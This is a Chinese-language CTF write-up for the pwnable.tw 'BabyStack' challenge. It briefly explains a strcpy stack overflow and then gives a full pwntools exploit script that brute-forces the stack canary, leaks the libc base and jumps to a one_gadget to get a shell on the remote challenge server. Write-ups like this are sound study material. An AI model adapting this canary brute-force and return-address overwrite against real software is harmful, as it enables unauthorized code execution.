BabyStack
思路
- 危险函数,strcpy。
- 在copy的时候strcpy看似没有问题,但是由于src的内容并没有清空,还保存着被销毁栈的原有数据,而strcpy是根据"\x00"来判定的,所以造成了栈溢出。
- login的限制可以用"\x00"绕过。
- 首先通过login函数中的strcmp,把canary值爆破出来。
- 然后利用copy函数栈上的垃圾数据中保存的一些libc的相关地址,将其拷贝到canary的地址,然后继续爆破,就可以得到libc的基址。
- 给了libc,一发one_gadget。
exp
这里卡了很久的一个地方是python3的p64返回的是bytes类型,而且bytes(s,encoding=“utf8”)和ascii都不对,手动改。
remote跑一次需要20多分钟。
from pwn import *
from time import sleep
import os
import sys
elfPath = './babystack'
libcPath = '../libc_64.so.6'
remoteAddr = 'chall.pwnable.tw'
remotePort = '10205'
context.log_level = 'debug'
context.binary = elfPath
context.terminal = ['tmux', 'splitw', '-h']
elf = context.binary
if sys.argv[1] == 'l':
sh = process(elfPath)
libc = elf.libc
else:
if sys.argv[1] == 'd':
sh = process(elfPath, env = {'LD_PRELOAD': libcPath})
else:
sh = remote(remoteAddr,remotePort)
context.log_level = 'info'
if libcPath:
libc = ELF(libcPath)
def blast(sz,al = ""):
rcd = al
move = 0
for round in range(0,sz):
tag = False
for i in range(0,0x100):
if i == 0:
continue
test = rcd + chr(i)
sh.sendlineafter(">>","1")
sh.sendafter(":", test + "\n")
ret = sh.recv(1)
if ret == b'L':
tag = True
rcd = test
sh.sendlineafter(">>","1")
break
if tag is False:
rcd += chr(0)
return rcd
if __name__ == '__main__':
canary = blast(0x10)
c = b""
for i in canary:
print(ord(i))
c += bytes([ord(i)])
print(str(c))
sh.sendlineafter(">>", '1')
sh.sendafter(":", "\x00" + "a" * 0x47)
sh.sendlineafter(">>", "3")
sh.sendafter(":","A") # put IO_file_.addr at random_array's addr
# leak libc addr
sh.sendlineafter(">>","1")
IO_file_9 = u64(blast(6,"a" * 0x8)[8:15] + "\x00\x00")
IO_file_addr = IO_file_9 - 9
libc_base = IO_file_addr - libc.symbols["_IO_file_setbuf"]
success("libc_base:" + hex(libc_base))
one_gadget = [0x45216, 0x4526a, 0xef6c4, 0xf0567]
shell_addr = libc_base + one_gadget[0]
sh.sendlineafter(">>", '1')
payload = b"\x00" + b"A"*0x3f + c + b"A" * 0x18 + p64(shell_addr)
sh.sendlineafter(":",payload)
sh.sendlineafter(">>","3")
sh.sendafter(":","A")
sh.sendlineafter(">>","2")
# sh.sendline("cat /home/babystack/flag")
sh.interactive()